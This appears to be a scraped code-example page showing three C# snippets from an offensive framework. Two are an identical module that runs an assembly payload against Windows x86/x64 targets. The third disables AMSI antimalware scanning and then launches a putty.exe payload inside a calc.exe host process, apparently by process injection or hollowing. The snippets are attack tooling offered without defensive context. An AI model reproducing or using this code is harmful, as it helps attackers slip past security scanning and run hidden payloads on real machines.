Пример #1
0
        public override bool Run()
        {
            Target t = this.Target;

            switch (t.Platform)
            {
                case EPlatform.Windows:
                    {
                        switch (t.Arquitecture)
                        {
                            case EArquitecture.x86:
                            case EArquitecture.x64:
                                {
                                    WinX86 c = new WinX86();
                                    c.RunAsm(Payload.GetValue(t));
                                    break;
                                }
                        }

                        break;
                    }
            }

            return false;
        }
Пример #2
0
        public override bool Run()
        {
            Target t = this.Target;

            switch (t.Platform)
            {
            case EPlatform.Windows:
            {
                switch (t.Arquitecture)
                {
                case EArquitecture.x86:
                case EArquitecture.x64:
                {
                    WinX86 c = new WinX86();
                    c.RunAsm(Payload.GetValue(t));
                    break;
                }
                }

                break;
            }
            }

            return(false);
        }
Пример #3
0
        public static int Main(string[] args)
        {
            WinXComponents.DisableAMSI();

            string payloadFileName = "putty.exe";

            if (IntPtr.Size * 8 == 64)
            {
                payloadFileName = "putty64.exe";
            }
            var    payload    = File.ReadAllBytes(payloadFileName);
            string calculator = "C:\\Windows\\system32\\calc.exe";

            string[] arguments = null;
            bool     hidden    = false;

            WinXParameters parameters = WinXParameters.Create(payload, calculator, hidden, arguments);

            WinX86.Start(parameters);



            return(0);
        }